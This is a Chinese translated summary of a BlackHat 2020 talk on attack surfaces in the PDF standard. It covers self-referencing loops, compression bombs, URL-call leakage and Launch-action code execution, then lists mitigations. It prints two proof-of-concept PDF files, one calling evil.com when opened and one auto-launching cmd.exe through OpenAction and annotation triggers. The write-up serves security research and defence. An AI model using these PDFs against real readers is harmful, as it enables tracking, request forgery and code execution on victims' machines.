【外文翻译-【BlackHat】PDFlaw 101】 此文章归类为:外文翻译。
BlackHat2020标题: PDFlaw 101 视频:662K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1K9h3I4A6j5X3W2D9K9g2)9J5k6h3y4G2L8g2)9J5c8Y4k6A6k6r3g2G2i4K6u0r3b7W2j5I4h3r3A6K9M7W2W2^5c8i4c8$3
该议题由RUB-NDS分享,从PDF标准出发,涵盖了pdf文件的攻击面,讨论PDF标准中存在的缺陷,可以归类于pdf逻辑漏洞。
1. PDF基础
pdf文件本质上是纯文本形式的,下图展示一个pdf文件的文本组成,它在reader上会显示hello world。从逻辑组成上来讲,pdf 1.7包括四个基本组成部分:header,body,xref table和trailer。所以pdf的处理过程事实上是自底向上的。
1.1PDF相关安全研究
针对pdf加密进行攻击: 2019年,Mueller发表论文“Practical Decryption exFiltration: Breaking PDF Encryption”,采用直接泄露、CBC gadget两种攻击模型对加密的pdf进行攻击,取得不错的效果。 针对pdf签名进行攻击: 同年,Mladenov发表论文“1 Trillion Dollar Refund– How To Spoof PDF Signatures”,以pdf签名机制作为切入点,研究了pdf签名的伪造方法。令人惊讶的是,只要可以访问加密pdf,任何人都可以篡改内容并重新签名。 除此之外,还有针对pdf修订、元数据和混合类型等方面的研究。议题跳出pdf业务安全的范畴,针对pdf标准中可以导致DoS、信息泄露和RCE的危险特性进行研究。
1.2PDF特性
议题聚焦于不安全的特性,通过测试pdf标准的所有组成,可以发现pdf的多种不安全action,比如:外部链接URL、javascript支持、事件触发的多种action等等。 上图展示了pdf标准(第六版)的主要组成元素,这些元素是议题研究的重点,将会在每个章节被提到。
1.3PDF攻击模型
在现实中,pdf的攻击场景很简单,只需要受害者打开恶意的pdf。
受害者打开恶意pdf,从不受信任的源获取,比如网络下载,邮件附件。
恶意攻击实施。
无需用户交互。
2.DoS攻击
2.1无限循环
根据pdf标准,可以创造无限循环,消耗CPU资源。首先,page对象的定义中,kids索引可以是page对象,或者其他page节点,那么如果索引自己,就会生成一个引用环,这在pdf解析时是符合标准的。该逻辑漏洞分配了编号CVE-2007-0104。 这种自引用或者递归手法,可以导致无限循环的产生,令人惊讶的是,标准中有相当多的变种:
pdf action允许/Next指定下一个执行的action,这样就可以构造action的引用环。
pdf 对象流允许/Extend指定自己作为扩展对象。
outline条目可以引用自身。
PS/Type 4计算器函数,允许定义一个递归的函数。
js简单粗暴,可以直接写一个无限循环。
2.2压缩炸弹
构造无限循环,可以消耗CPU资源,那么构造压缩炸弹可以消耗内存资源。说到压缩炸弹,最有名的当属zip炸弹,最早的压缩炸弹应用,可以追溯到1997年。 在pdf标准中,流可以被压缩,通常默认使用deflate算法对流进行压缩。解析时必定要解压流,来显示内容,这就给了构造pdf压缩炸弹的机会。如果直接使用10GB字符串作炸弹,只能占用10GB内存,效率为1;如果使用deflate压缩算法,一次压缩可以达到1024的效率,多次压缩可以达到指数型增长。
3.信息泄露
URL调用可以导致CSRF攻击,最早的报告来自BlackHat2008,使用/OpenAction事件触发Adobe Reader的URL调用,很快被大部分Reader禁止。 那么可以考虑通过其他事件来触发,比如在firefox中,可以使用/Link调用Launch action实现相同的效果,由于firefox对URL的预处理,打开pdf文件即可触发URL调用。 公开的PoC(953K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9g2f1u0Q4x3X3c8z5c8q4y4Q4x3V1k6b7c8p5j5I4x3o6q4Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5f1p5`.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
%
PDF
-
1.7
1
0
obj
<<
/
Type
/
Catalog
/
Pages
2
0
R
>>
endobj
2
0
obj
<<
/
Type
/
Pages
/
Kids [
3
0
R]
/
Count
1
/
MediaBox [
0
0
595
842
]
>>
endobj
3
0
obj
<<
/
Type
/
Page
/
Parent
2
0
R
/
Resources
<<
/
Font
<<
/
F1
<<
/
Type
/
Font
/
Subtype
/
Type1
/
BaseFont
/
Courier
>>
>>
>>
/
Annots [<<
/
Type
/
Annot
/
Subtype
/
Link
/
Open
true
/
A
5
0
R
/
H
/
N
/
Rect [
0
0
595
842
]
>>]
/
Contents [
4
0
R]
>>
endobj
4
0
obj
<<
/
Length
67
>>
stream
BT
/
F1
22
Tf
30
800
Td
(Testcase:
'uri'
) Tj
ET
endstream
endobj
5
0
obj
<<
/
Type
/
Action
/
S
/
URI
/
URI (http:
/
/
evil.com
/
0.pdf
) ← URL调用
>>
endobj
xref
0
6
0000000000
65535
f
0000000010
00000
n
0000000069
00000
n
0000000170
00000
n
0000000629
00000
n
0000000749
00000
n
trailer
<<
/
Root
1
0
R
/
Size
6
>>
startxref
854
%
%
EOF
4.代码执行
pdf标准定义的launch action,用法是执行一个程序,或者打开、打印一个文件,因此可以说,pdf是为代码执行而生的。 公开的PoC(ff5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9g2f1u0Q4x3X3c8z5c8q4y4Q4x3V1k6b7c8p5j5I4x3o6q4Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5f1p5`.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
%
PDF
-
1.7
1
0
obj
<<
/
Type
/
Catalog
/
Pages
2
0
R
/
OpenAction
5
0
R
>>
endobj
2
0
obj
<<
/
Type
/
Pages
/
Kids [
3
0
R]
/
Count
1
/
MediaBox [
0
0
595
842
]
>>
endobj
3
0
obj
<<
/
Type
/
Page
/
Parent
2
0
R
/
Resources
<<
/
Font
<<
/
F1
<<
/
Type
/
Font
/
Subtype
/
Type1
/
BaseFont
/
Courier
>>
>>
>>
/
Annots [<<
/
Type
/
Annot
/
Subtype
/
Screen
/
Open
true
/
P
3
0
R
/
AA <<
/
E
5
0
R
/
X
5
0
R
/
D
5
0
R
/
U
5
0
R
/
Fo
5
0
R
/
BI
5
0
R
/
PO
5
0
R
/
PC
5
0
R
/
PV
5
0
R
/
PI
5
0
R
>>
/
Rect [
0
0
595
842
]
>>
<<
/
Type
/
Annot
/
Subtype
/
Link
/
Open
true
/
A
5
0
R
/
H
/
N
/
Rect [
0
0
595
842
]
>>]
/
AA <<
/
O
5
0
R
/
C
5
0
R
>>
/
Contents [
4
0
R]
>>
endobj
4
0
obj
<<
/
Length
90
>>
stream
BT
/
F1
22
Tf
30
800
Td
(Testcase:
'Code Execution (Launch Action)'
) Tj
ET
endstream
endobj
5
0
obj
<<
/
Type
/
Action
/
S
/
Launch
/
F (C:\\Windows\\System32\\cmd.exe) ← 弹出cmd
>>
endobj
xref
0
6
0000000000
65535
f
0000000010
00000
n
0000000092
00000
n
0000000193
00000
n
0000001050
00000
n
0000001192
00000
n
trailer
<<
/
Root
1
0
R
/
Size
6
>>
startxref
1289
%
%
EOF
5.评估
针对28个pdf redaer进行评估,其中包括web浏览器、专业的pdf编辑器等。可以看到,普遍存在DoS攻击的风险,RCE只在个别reader中存在。
6.解决方案
pdf标准角度,约束不合法的行为,比如自引用。
reader角度,约束单个pdf资源,防止压缩炸弹,web浏览器通常采用沙盒,防止代码执行。
js是头号公敌,移除或者限制它是最好的方案。
reader角度,识别恶意路径,比如URL调用导致的CSRF。
7.结论
与其他格式文件不同,pdf格式是复杂的;标准有很多危险特性,充满了陷阱;pdf是天生的逻辑漏洞利用链。
更多 【外文翻译-【BlackHat】PDFlaw 101】 相关视频教程: www.yxfzedu.com